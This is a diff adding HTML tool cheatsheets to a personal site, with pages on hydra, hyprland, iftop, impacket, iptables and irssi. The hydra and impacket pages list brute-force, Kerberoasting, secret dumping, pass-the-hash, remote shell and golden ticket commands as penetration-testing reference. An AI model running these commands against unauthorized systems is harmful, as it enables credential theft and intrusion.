  • hydra -l <user> -P <wordlist> rdp://<target> - RDP attack
  • +
+
    +
  • hydra -L users.txt -P passwords.txt rdp://<target> - Multiple users
  • +
+
+

MySQL Brute Force

+
    +
  • hydra -l <user> -P <wordlist> mysql://<target> - MySQL attack
  • +
+
    +
  • hydra -L users.txt -P passwords.txt mysql://<target> - Multiple users
  • +
+
+

PostgreSQL Brute Force

+
    +
  • hydra -l <user> -P <wordlist> postgresql://<target> - PostgreSQL attack
  • +
+
    +
  • hydra -L users.txt -P passwords.txt postgresql://<target> - Multiple users
  • +
+
+

VNC Brute Force

+
    +
  • hydra -l <user> -P <wordlist> vnc://<target> - VNC attack
  • +
+
    +
  • hydra -p <password> vnc://<target> - Password only (no user)
  • +
+
+

Advanced Options

+
    +
  • -e nsr - Try null password, same as login, reversed login
  • +
+
    +
  • -e n - Try null password
  • +
+
    +
  • -e s - Try same as login
  • +
+
    +
  • -e r - Try reversed login
  • +
+
    +
  • -M <file> - Target list file
  • +
+
    +
  • -C <file> - Colon-separated "login:pass" format
  • +
+
    +
  • -S - Use SSL
  • +
+
    +
  • -u - Loop around users, not passwords
  • +
+
    +
  • -x min:max:charset - Password generation (e.g., -x 6:8:aA1)
  • +
+
+

Common Examples

+

SSH Attack

+
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
+

HTTP POST Form

+
hydra -l admin -P passwords.txt http-post-form://target.com/login.php:"user=^USER^&pass=^PASS^":"Invalid"
+

Multiple Users SSH

+
hydra -L users.txt -P passwords.txt -t 4 ssh://192.168.1.100
+

FTP Attack

+
hydra -L users.txt -P passwords.txt ftp://192.168.1.100
+

SMB Attack

+
hydra -L users.txt -P passwords.txt smb://192.168.1.100
+

RDP Attack

+
hydra -L users.txt -P passwords.txt rdp://192.168.1.100
+

MySQL Attack

+
hydra -l root -P passwords.txt mysql://192.168.1.100
+

VNC Attack

+
hydra -P passwords.txt vnc://192.168.1.100
+

Wordlist Generation

+
hydra -l admin -x 6:8:aA1 http-get://target.com/protected
+

Output to File

+
hydra -l admin -P passwords.txt -o results.txt ssh://192.168.1.100
+
+

Tips

+
    +
  • Use -t to adjust parallel tasks (higher = faster but more detectable)
  • +
+
    +
  • Use -f to stop on first valid login
  • +
+
    +
  • Use -e nsr to try common weak passwords
  • +
+
    +
  • Use -V for verbose output to see attempts
  • +
+
    +
  • Always test on authorized systems only
  • +
+
    +
  • Lower -t value reduces detection but increases time
  • +
+
    +
  • Use -x for password generation when no wordlist available
  • +
+
    +
  • Combine -L and -P for comprehensive testing
  • +
+
    +
  • Use -o to save results for documentation
  • +
+
    +
  • HTTP POST forms require proper syntax: "field=^USER^&field2=^PASS^":"error message"
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + + diff --git a/cheatsheets/hyprland.html b/cheatsheets/hyprland.html new file mode 100644 index 0000000..22fa257 --- /dev/null +++ b/cheatsheets/hyprland.html @@ -0,0 +1,252 @@ + + + + + + + + + + + hyprland Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

hyprland Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

hyprland is a dynamic tiling Wayland compositor.

+
+

Application Launch

+
    +
  • Super+Return - Launch terminal
  • +
+
    +
  • Super+Shift+Return - Launch floating terminal
  • +
+
    +
  • Super+D - Application launcher (rofi/dmenu)
  • +
+
    +
  • Super+B - Launch browser
  • +
+
    +
  • Super+E - Launch file manager
  • +
+
    +
  • Super+Q - Close active window
  • +
+
+

Window Management

+
    +
  • Super+Q - Close focused window
  • +
+
    +
  • Super+F - Toggle fullscreen
  • +
+
    +
  • Super+Shift+F - Toggle floating
  • +
+
    +
  • Super+T - Toggle tiling/floating
  • +
+
    +
  • Super+P - Toggle pin (keep on top)
  • +
+
    +
  • Super+S - Toggle split (horizontal/vertical)
  • +
+
    +
  • Super+Shift+S - Swap windows
  • +
+
    +
  • Super+R - Resize mode
  • +
+
+

Window Navigation

+
    +
  • Super+H/J/K/L - Move focus (vim-style)
  • +
+
    +
  • Super+Shift+H/J/K/L - Move window
  • +
+
    +
  • Super+Arrow - Move focus
  • +
+
    +
  • Super+Shift+Arrow - Move window
  • +
+
    +
  • Super+Tab - Switch to last window
  • +
+
    +
  • Super+Shift+Tab - Switch windows (reverse)
  • +
+
+

Workspaces

+
    +
  • Super+1-9 - Switch to workspace
  • +
+
    +
  • Super+Shift+1-9 - Move window to workspace
  • +
+
    +
  • Super+Ctrl+Left/Right - Switch workspace
  • +
+
    +
  • Super+Ctrl+Shift+Left/Right - Move window to workspace
  • +
+
    +
  • Super+Mouse1 - Move window (drag)
  • +
+
    +
  • Super+Mouse2 - Resize window (drag)
  • +
+
+

Layout and Resize

+
    +
  • Super+Plus - Increase window size
  • +
+
    +
  • Super+Minus - Decrease window size
  • +
+
    +
  • Super+Shift+Plus - Increase gap
  • +
+
    +
  • Super+Shift+Minus - Decrease gap
  • +
+
    +
  • Super+R - Enter resize mode
  • +
+
    +
  • Super+Escape - Exit resize mode
  • +
+
+

System

+
    +
  • Super+Shift+Q - Quit hyprland
  • +
+
    +
  • Super+Shift+E - Exit session
  • +
+
    +
  • Super+L - Lock screen
  • +
+
    +
  • Print - Screenshot
  • +
+
    +
  • Super+Print - Screenshot (area)
  • +
+
    +
  • Super+Shift+Print - Screenshot (window)
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.config/hypr/hyprland.conf (main config)
  • +
+
    +
  • ~/.config/hypr/config.d/*.conf (split config files)
  • +
+

Example Key Bindings

+

Customize in hyprland.conf:

+
# Application launch
+bind = SUPER, RETURN, exec, kitty
+bind = SUPER, B, exec, firefox
+bind = SUPER, D, exec, rofi -show drun
+
+# Window management
+bind = SUPER, Q, killactive
+bind = SUPER, F, fullscreen
+bind = SUPER, SHIFT, F, togglefloating
+
+# Window navigation
+bind = SUPER, H, movefocus, l
+bind = SUPER, L, movefocus, r
+bind = SUPER, J, movefocus, d
+bind = SUPER, K, movefocus, u
+
+# Workspaces
+bind = SUPER, 1, workspace, 1
+bind = SUPER, 2, workspace, 2
+bind = SUPER SHIFT, 1, movetoworkspace, 1
+bind = SUPER SHIFT, 2, movetoworkspace, 2
+
+# System
+bind = SUPER SHIFT, Q, exit
+bind = , Print, exec, grim
+

Mouse Bindings

+
# Mouse bindings
+bindm = SUPER, mouse:272, movewindow
+bindm = SUPER, mouse:273, resizewindow
+
+

Tips

+
    +
  • Bind syntax: bind = MODS, KEY, dispatcher, params
  • +
+
    +
  • Supports flags: r (release), l (locked), e (repeat)
  • +
+
    +
  • Use pass dispatcher for global keybinds
  • +
+
    +
  • Window rules allow matching by class for app-specific behavior
  • +
+
    +
  • Supports multiple keyboard layouts
  • +
+
    +
  • Use bindsym for symbolic key names
  • +
+
    +
  • Split config files for organization
  • +
+
    +
  • Use exec-once for startup commands
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/iftop.html b/cheatsheets/iftop.html new file mode 100644 index 0000000..fbe2b75 --- /dev/null +++ b/cheatsheets/iftop.html @@ -0,0 +1,218 @@ + + + + + + + + + + + iftop Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

iftop Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

iftop displays bandwidth usage on an interface by host connection.

+
+

Basic Usage

+
    +
  • sudo iftop - Start on default interface
  • +
+
    +
  • sudo iftop -i <interface> - Monitor specific interface
  • +
+
    +
  • sudo iftop -i eth0 - Monitor eth0 interface
  • +
+
    +
  • sudo iftop -i wlan0 - Monitor wlan0 interface
  • +
+
+

Command Line Options

+
    +
  • -i <interface> - Specify interface
  • +
+
    +
  • -n - Disable hostname lookup (show IPs)
  • +
+
    +
  • -N - Don't convert port numbers to service names
  • +
+
    +
  • -b - Display in bytes/sec (default is bits/sec)
  • +
+
    +
  • -B - Display in bytes/sec (alternative)
  • +
+
    +
  • -t - Text-only mode (no bar graph)
  • +
+
    +
  • -L <num> - Print length of screen
  • +
+
    +
  • -p - Promiscuous mode
  • +
+
    +
  • -P - Show ports
  • +
+
    +
  • -f <filter> - Apply BPF filter
  • +
+
    +
  • -F <net/mask> - Show traffic flows to/from network
  • +
+
+

Interactive Commands

+

Navigation

+
    +
  • j or ↓ - Scroll down
  • +
+
    +
  • k or ↑ - Scroll up
  • +
+
    +
  • h or ? - Show help
  • +
+
    +
  • q - Quit
  • +
+

Display Toggles

+
    +
  • n - Toggle DNS name resolution
  • +
+
    +
  • N - Toggle service name vs port number
  • +
+
    +
  • p - Toggle port display
  • +
+
    +
  • s - Toggle source host display
  • +
+
    +
  • d - Toggle destination host display
  • +
+
    +
  • t - Cycle display modes (2s, 10s, 40s averages)
  • +
+
    +
  • b - Toggle bar graph mode
  • +
+

Sorting

+
    +
  • < - Sort by source
  • +
+
    +
  • > - Sort by destination
  • +
+
    +
  • o - Order by current sort method
  • +
+

Filtering

+
    +
  • l - Set screen filter
  • +
+
    +
  • L - Set and lock screen filter
  • +
+
    +
  • ! - Run shell command in filter line
  • +
+
    +
  • 1-9 - Filter by protocol type
  • +
+
+

Configuration

+

Config File Location

+
    +
  • No main config file (runs interactively)
  • +
+
    +
  • Options passed via command line or aliases
  • +
+

Example Aliases

+

Add to your shell config:

+
# Quick interface monitoring
+alias iftop-eth0='sudo iftop -i eth0 -n -N'
+alias iftop-wlan0='sudo iftop -i wlan0 -n -N'
+
+# Bytes per second display
+alias iftop-b='sudo iftop -b -n -N'
+
+

Tips

+
    +
  • Run with root privileges (sudo) to capture on interfaces
  • +
+
    +
  • Use -n and -N flags for less distraction in noisy networks
  • +
+
    +
  • Exit with q, use filters in combination with command options to reduce data
  • +
+
    +
  • Useful for spotting sudden spikes or bandwidth hogs in real time
  • +
+
    +
  • Turn off DNS and service name lookups (-n -N) for quicker, clearer output
  • +
+
    +
  • Press h while running to see a key reference screen
  • +
+
    +
  • Use filters (-f) to focus on specific traffic
  • +
+
    +
  • Watch the averages (2s, 10s, 40s) to see both momentary and sustained usage patterns
  • +
+
    +
  • Use -b flag to display in bytes/sec if that's more intuitive
  • +
+
    +
  • Text-only mode (-t) useful for logging or screenshots
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/impacket.html b/cheatsheets/impacket.html new file mode 100644 index 0000000..2102cd8 --- /dev/null +++ b/cheatsheets/impacket.html @@ -0,0 +1,236 @@ + + + + + + + + + + + impacket Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

impacket Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Impacket is a collection of Python classes for working with network protocols. Provides tools for SMB, MSRPC, LDAP, Kerberos, and more. Essential for Windows network security testing and Active Directory exploitation.

+
+

Common Tools

+
    +
  • GetNPUsers.py - AS-REP Roasting
  • +
+
    +
  • GetUserSPNs.py - Kerberoasting
  • +
+
    +
  • secretsdump.py - Dump secrets
  • +
+
    +
  • psexec.py - Remote execution
  • +
+
    +
  • smbclient.py - SMB client
  • +
+
    +
  • smbserver.py - SMB server
  • +
+
    +
  • wmiexec.py - WMI execution
  • +
+
    +
  • atexec.py - Task scheduler execution
  • +
+
    +
  • dcomexec.py - DCOM execution
  • +
+
    +
  • lookupsid.py - SID enumeration
  • +
+
    +
  • rpcdump.py - RPC endpoint dump
  • +
+
    +
  • samrdump.py - SAM dump
  • +
+
    +
  • ntlmrelayx.py - NTLM relay
  • +
+
    +
  • ticketConverter.py - Convert tickets
  • +
+
    +
  • ticketer.py - Create tickets
  • +
+
+

AS-REP Roasting

+
    +
  • GetNPUsers.py domain/ - List vulnerable users
  • +
+
    +
  • GetNPUsers.py domain/user:pass - Authenticated
  • +
+
    +
  • GetNPUsers.py -dc-ip 10.10.10.10 domain/ - Specify DC
  • +
+
    +
  • GetNPUsers.py -request domain/ - Request tickets
  • +
+
    +
  • GetNPUsers.py -format hashcat domain/ - Hashcat format
  • +
+
+

Kerberoasting

+
    +
  • GetUserSPNs.py domain/user:pass - Get SPNs
  • +
+
    +
  • GetUserSPNs.py -dc-ip 10.10.10.10 domain/user:pass - Specify DC
  • +
+
    +
  • GetUserSPNs.py -request domain/user:pass - Request tickets
  • +
+
    +
  • GetUserSPNs.py -outputfile hashes.txt domain/user:pass - Save hashes
  • +
+
+

Secrets Dumping

+
    +
  • secretsdump.py domain/user:pass@target - Dump secrets
  • +
+
    +
  • secretsdump.py -hashes :hash domain/user@target - Pass-the-hash
  • +
+
    +
  • secretsdump.py -just-dc domain/user:pass@target - Domain cache
  • +
+
    +
  • secretsdump.py -just-dc-ntlm domain/user:pass@target - NTLM only
  • +
+
    +
  • secretsdump.py -just-dc-user user domain/user:pass@target - Specific user
  • +
+
+

Remote Execution

+
    +
  • psexec.py domain/user:pass@target - PsExec
  • +
+
    +
  • wmiexec.py domain/user:pass@target - WMI execution
  • +
+
    +
  • atexec.py domain/user:pass@target - Task scheduler
  • +
+
    +
  • dcomexec.py domain/user:pass@target - DCOM execution
  • +
+
    +
  • smbexec.py domain/user:pass@target - SMB execution
  • +
+
+

SMB Operations

+
    +
  • smbclient.py domain/user:pass@target - SMB client
  • +
+
    +
  • smbclient.py -hashes :hash domain/user@target - Pass-the-hash
  • +
+
    +
  • smbserver.py SHARE /path - Start SMB server
  • +
+
    +
  • smbserver.py -username user -password pass SHARE /path - Authenticated
  • +
+
+

Common Examples

+

AS-REP Roasting

+
GetNPUsers.py domain.local/ -dc-ip 10.10.10.10
+

Find users with pre-auth disabled.

+

Kerberoasting

+
GetUserSPNs.py domain.local/user:pass -request
+

Request service tickets for cracking.

+

Dump Secrets

+
secretsdump.py domain.local/user:pass@10.10.10.10
+

Extract credentials from target.

+

Pass-the-Hash

+
psexec.py -hashes :aad3b435b51404ee domain/user@target
+

Authenticate with hash.

+

Remote Shell

+
psexec.py domain/user:pass@target
+

Get interactive shell.

+

SMB Client

+
smbclient.py domain/user:pass@target
+

Access SMB shares.

+

NTLM Relay

+
ntlmrelayx.py -tf targets.txt -smb2support
+

Relay NTLM authentication.

+

Create Ticket

+
ticketer.py -nthash hash -domain-sid SID -domain domain.local administrator
+

Create golden ticket.

+
+

Tips

+
    +
  • Use GetNPUsers for AS-REP roasting
  • +
+
    +
  • Use GetUserSPNs for Kerberoasting
  • +
+
    +
  • secretsdump is powerful for credential extraction
  • +
+
    +
  • Multiple execution methods available (psexec, wmiexec, etc.)
  • +
+
    +
  • Use -hashes for pass-the-hash attacks
  • +
+
    +
  • Essential for AD security testing
  • +
+
    +
  • Many tools support Kerberos authentication
  • +
+
    +
  • Check documentation for specific protocol details
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/index.html b/cheatsheets/index.html new file mode 100644 index 0000000..da7880d --- /dev/null +++ b/cheatsheets/index.html @@ -0,0 +1,63 @@ + + + + + + + + + + + Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
+
+
+ + + +

Cheatsheets

+
+
+
+

+ Quick reference guides for common tools and utilities. +

+ +
+

Network Tools

+
+

nmap

+

Network mapper and port scanner. The gold standard for network discovery and security auditing.

+
+
+

ssh

+

Secure shell for remote login and command execution. Encrypted replacement for telnet and rsh.

+
+
+
+ + + + diff --git a/cheatsheets/iptables.html b/cheatsheets/iptables.html new file mode 100644 index 0000000..10b562f --- /dev/null +++ b/cheatsheets/iptables.html @@ -0,0 +1,343 @@ + + + + + + + + + + + iptables Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

iptables Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

iptables is the traditional Linux firewall tool for configuring IPv4 packet filtering rules. It uses tables and chains to control network traffic.

+
+

Basic Commands

+
    +
  • iptables -L - List all rules
  • +
+
    +
  • iptables -L -v - List rules with verbose output
  • +
+
    +
  • iptables -L -n - List rules with numeric addresses
  • +
+
    +
  • iptables -L -v -n --line-numbers - Full listing with line numbers
  • +
+
    +
  • iptables -S - Show rules in iptables-save format
  • +
+
    +
  • iptables -F - Flush all rules (clear all)
  • +
+
    +
  • iptables -X - Delete all user-defined chains
  • +
+
    +
  • iptables -Z - Zero all packet and byte counters
  • +
+
+

Tables

+
    +
  • filter - Default table for packet filtering (INPUT, OUTPUT, FORWARD)
  • +
+
    +
  • nat - Network address translation (PREROUTING, POSTROUTING, OUTPUT)
  • +
+
    +
  • mangle - Packet alteration (all chains)
  • +
+
    +
  • raw - Connection tracking exemptions (PREROUTING, OUTPUT)
  • +
+
    +
  • security - SELinux rules (INPUT, OUTPUT, FORWARD)
  • +
+

Use -t to specify table:

+
    +
  • iptables -t nat -L - List NAT rules
  • +
+
    +
  • iptables -t mangle -L - List mangle rules
  • +
+
+

Chains

+

Filter Table Chains

+
    +
  • INPUT - Incoming packets destined for local system
  • +
+
    +
  • OUTPUT - Outgoing packets from local system
  • +
+
    +
  • FORWARD - Packets routed through the system
  • +
+

NAT Table Chains

+
    +
  • PREROUTING - Alter packets before routing
  • +
+
    +
  • POSTROUTING - Alter packets after routing
  • +
+
    +
  • OUTPUT - Alter locally-generated packets before routing
  • +
+
+

Adding Rules

+
    +
  • iptables -A <chain> <rule> - Append rule to chain
  • +
+
    +
  • iptables -I <chain> <rule> - Insert rule at beginning
  • +
+
    +
  • iptables -I <chain> <num> <rule> - Insert rule at position
  • +
+
    +
  • iptables -R <chain> <num> <rule> - Replace rule at position
  • +
+
    +
  • iptables -D <chain> <rule> - Delete specific rule
  • +
+
    +
  • iptables -D <chain> <num> - Delete rule by number
  • +
+
+

Rule Matching

+

Interface Matching

+
    +
  • -i eth0 - Match input interface
  • +
+
    +
  • -o eth0 - Match output interface
  • +
+

Address Matching

+
    +
  • -s 192.168.1.0/24 - Match source address/network
  • +
+
    +
  • -d 10.0.0.1 - Match destination address
  • +
+
    +
  • ! -s 192.168.1.100 - Negate (match everything except)
  • +
+

Protocol Matching

+
    +
  • -p tcp - Match TCP protocol
  • +
+
    +
  • -p udp - Match UDP protocol
  • +
+
    +
  • -p icmp - Match ICMP protocol
  • +
+
    +
  • -p all - Match all protocols
  • +
+

Port Matching (requires -p tcp or -p udp)

+
    +
  • --sport 22 - Match source port
  • +
+
    +
  • --dport 80 - Match destination port
  • +
+
    +
  • --dport 80:443 - Match port range
  • +
+
    +
  • -m multiport --dports 22,80,443 - Match multiple ports
  • +
+
+

Targets (Actions)

+
    +
  • -j ACCEPT - Accept the packet
  • +
+
    +
  • -j DROP - Drop the packet silently
  • +
+
    +
  • -j REJECT - Reject and send error response
  • +
+
    +
  • -j LOG - Log the packet
  • +
+
    +
  • -j RETURN - Return to calling chain
  • +
+
    +
  • -j SNAT --to-source <ip> - Source NAT
  • +
+
    +
  • -j DNAT --to-destination <ip> - Destination NAT
  • +
+
    +
  • -j MASQUERADE - Dynamic source NAT (for dynamic IPs)
  • +
+
+

Connection Tracking

+
    +
  • -m state --state NEW - New connections
  • +
+
    +
  • -m state --state ESTABLISHED - Established connections
  • +
+
    +
  • -m state --state RELATED - Related connections (e.g., FTP data)
  • +
+
    +
  • -m state --state INVALID - Invalid packets
  • +
+
    +
  • -m conntrack --ctstate NEW,ESTABLISHED - Modern syntax
  • +
+
+

Common Examples

+

Allow SSH

+
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
+

Allow Established Connections

+
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
+

Block IP Address

+
iptables -A INPUT -s 192.168.1.100 -j DROP
+

Allow HTTP/HTTPS

+
iptables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT
+

Port Forwarding (NAT)

+
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.10:80
+iptables -t nat -A POSTROUTING -j MASQUERADE
+

Log Dropped Packets

+
iptables -A INPUT -j LOG --log-prefix "IPTables-Dropped: " --log-level 4
+iptables -A INPUT -j DROP
+

Basic Firewall Setup

+
# Default policies
+iptables -P INPUT DROP
+iptables -P FORWARD DROP
+iptables -P OUTPUT ACCEPT
+
+# Allow loopback
+iptables -A INPUT -i lo -j ACCEPT
+
+# Allow established
+iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
+
+# Allow SSH
+iptables -A INPUT -p tcp --dport 22 -j ACCEPT
+
+

Saving and Restoring

+
    +
  • iptables-save > /etc/iptables.rules - Save rules to file
  • +
+
    +
  • iptables-restore < /etc/iptables.rules - Restore rules from file
  • +
+
    +
  • netfilter-persistent save - Save rules (Debian/Ubuntu)
  • +
+
    +
  • service iptables save - Save rules (RHEL/CentOS)
  • +
+
+

Default Policies

+
    +
  • iptables -P INPUT DROP - Set default INPUT policy to DROP
  • +
+
    +
  • iptables -P OUTPUT ACCEPT - Set default OUTPUT policy to ACCEPT
  • +
+
    +
  • iptables -P FORWARD DROP - Set default FORWARD policy to DROP
  • +
+
+

Rate Limiting

+
# Limit SSH connections to 3 per minute
+iptables -A INPUT -p tcp --dport 22 -m limit --limit 3/min --limit-burst 3 -j ACCEPT
+iptables -A INPUT -p tcp --dport 22 -j DROP
+
+

IPv6

+
    +
  • ip6tables - IPv6 version of iptables
  • +
+
    +
  • ip6tables -L - List IPv6 rules
  • +
+
    +
  • ip6tables -A INPUT -p tcp --dport 22 -j ACCEPT - Allow SSH over IPv6
  • +
+
+

Tips

+
    +
  • Always allow loopback interface first
  • +
+
    +
  • Allow established/related connections before specific rules
  • +
+
    +
  • Set default policies after adding allow rules to avoid lockout
  • +
+
    +
  • Use -n flag for faster output (skips DNS lookups)
  • +
+
    +
  • Test rules with -C (check) before adding
  • +
+
    +
  • Use iptables-save to backup before making changes
  • +
+
    +
  • Consider migrating to nftables - it's the modern replacement
  • +
+
    +
  • Use --line-numbers when deleting rules by number
  • +
+
    +
  • Log before dropping to debug connectivity issues
  • +
+
    +
  • Be careful with -F when default policy is DROP (lockout risk)
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/irssi.html b/cheatsheets/irssi.html new file mode 100644 index 0000000..7f0b160 --- /dev/null +++ b/cheatsheets/irssi.html @@ -0,0 +1,431 @@ + + + + + + + + + + + irssi Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

irssi Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

irssi is a terminal-based IRC (Internet Relay Chat) client. Lightweight, fast, and highly configurable for chatting on IRC networks.

+
+

Connecting to Networks

+
    +
  • /connect <server> - Connect to IRC server
  • +
+
    +
  • /connect <server> <port> - Connect with specific port
  • +
+
    +
  • /connect <server> <port> <password> - Connect with password
  • +
+
    +
  • /disconnect - Disconnect from current server
  • +
+
    +
  • /quit - Quit irssi
  • +
+
    +
  • /save - Save configuration
  • +
+
+

Channel Operations

+
    +
  • /join <#channel> - Join channel
  • +
+
    +
  • /join <#channel> <key> - Join password-protected channel
  • +
+
    +
  • /part <#channel> - Leave channel
  • +
+
    +
  • /part <#channel> <message> - Leave with message
  • +
+
    +
  • /names <#channel> - List users in channel
  • +
+
    +
  • /topic <#channel> <topic> - Set channel topic
  • +
+
    +
  • /msg <#channel> <message> - Send message to channel
  • +
+
+

Private Messages

+
    +
  • /query <nick> - Start private message
  • +
+
    +
  • /msg <nick> <message> - Send private message
  • +
+
    +
  • /close - Close current window
  • +
+
    +
  • /wclose - Close window
  • +
+
+

Window Navigation

+
    +
  • Alt+0-9 - Switch to window number
  • +
+
    +
  • Alt+Arrow or Ctrl+N/P - Switch windows
  • +
+
    +
  • /window next - Next window
  • +
+
    +
  • /window prev - Previous window
  • +
+
    +
  • /window goto <number> - Go to window number
  • +
+
    +
  • /window close - Close current window
  • +
+
    +
  • /window new - Create new window
  • +
+
    +
  • /window new split - Split window
  • +
+
    +
  • /window show irc - Show IRC windows only
  • +
+
+

Input Editing

+
    +
  • Ctrl+A - Beginning of line
  • +
+
    +
  • Ctrl+E - End of line
  • +
+
    +
  • Ctrl+B/F - Move backward/forward one character
  • +
+
    +
  • Ctrl+D - Delete character
  • +
+
    +
  • Ctrl+H - Backspace
  • +
+
    +
  • Ctrl+K - Delete to end of line
  • +
+
    +
  • Ctrl+U - Delete to beginning of line
  • +
+
    +
  • Ctrl+W - Delete word
  • +
+
    +
  • Ctrl+L - Clear screen
  • +
+
+

Nickname and Identity

+
    +
  • /nick <newnick> - Change nickname
  • +
+
    +
  • /set real_name <name> - Set real name
  • +
+
    +
  • /set user_name <name> - Set username
  • +
+
    +
  • /whois <nick> - Get user information
  • +
+
    +
  • /whoami - Show your own information
  • +
+
+

Server Commands

+
    +
  • /server add -m <network> <server> <port> - Add server
  • +
+
    +
  • /server <network> - Connect to network
  • +
+
    +
  • /server list - List configured servers
  • +
+
    +
  • /server remove <network> - Remove server
  • +
+
+

Channel Modes

+
    +
  • /mode <#channel> +o <nick> - Give operator status
  • +
+
    +
  • /mode <#channel> -o <nick> - Remove operator status
  • +
+
    +
  • /mode <#channel> +v <nick> - Give voice
  • +
+
    +
  • /mode <#channel> -v <nick> - Remove voice
  • +
+
    +
  • /mode <#channel> +i - Invite-only channel
  • +
+
    +
  • /mode <#channel> +m - Moderated channel
  • +
+
    +
  • /mode <#channel> +n - No external messages
  • +
+
    +
  • /mode <#channel> +s - Secret channel
  • +
+
    +
  • /mode <#channel> +t - Topic protection
  • +
+
+

Channel Information

+
    +
  • /list - List all channels
  • +
+
    +
  • /list <pattern> - List channels matching pattern
  • +
+
    +
  • /who <#channel> - List users in channel
  • +
+
    +
  • /ban <#channel> <nick> - Ban user from channel
  • +
+
    +
  • /kick <#channel> <nick> - Kick user from channel
  • +
+
    +
  • /kick <#channel> <nick> <reason> - Kick with reason
  • +
+
+

Settings and Configuration

+
    +
  • /set <option> <value> - Set option
  • +
+
    +
  • /set -<option> - Unset option
  • +
+
    +
  • /toggle <option> - Toggle option
  • +
+
    +
  • /bind -m <mode> <key> <command> - Bind key to command
  • +
+
    +
  • /unbind -m <mode> <key> - Unbind key
  • +
+
+

Common Settings

+
    +
  • /set nick <nickname> - Set default nickname
  • +
+
    +
  • /set real_name <name> - Set real name
  • +
+
    +
  • /set user_name <username> - Set username
  • +
+
    +
  • /set autojoin_channels <#channel1,#channel2> - Auto-join channels
  • +
+
    +
  • /set autolog <on|off> - Enable/disable logging
  • +
+
    +
  • /set autolog_path <path> - Set log file path
  • +
+
    +
  • /set scrollback_lines <number> - Set scrollback buffer size
  • +
+
+

Scripts and Plugins

+
    +
  • /script load <script.pl> - Load script
  • +
+
    +
  • /script unload <script.pl> - Unload script
  • +
+
    +
  • /script list - List loaded scripts
  • +
+
    +
  • /script exec <code> - Execute Perl code
  • +
+
    +
  • /run <script.pl> - Run script
  • +
+
+

Aliases and Shortcuts

+
    +
  • /alias <name> <command> - Create alias
  • +
+
    +
  • /unalias <name> - Remove alias
  • +
+
    +
  • /alias list - List all aliases
  • +
+

Example aliases:

+
    +
  • /alias j /join
  • +
+
    +
  • /alias m /msg
  • +
+
    +
  • /alias q /query
  • +
+
+

Logging

+
    +
  • /set autolog on - Enable automatic logging
  • +
+
    +
  • /set autolog_path ~/irclogs/$tag/$0.log - Log file path template
  • +
+
    +
  • /save - Save configuration (includes autolog settings)
  • +
+
+

Configuration

+

Config File Location

+
    +
  • `~/.irssi/config` - Main configuration file
  • +
+
    +
  • `~/.irssi/startup` - Startup commands
  • +
+
    +
  • `~/.irssi/scripts/` - Script directory
  • +
+

Example Configuration

+
# Auto-join channels
+servers = (
+  {
+    address = "irc.libera.chat";
+    chatnet = "Libera";
+    port = "6697";
+    use_ssl = "yes";
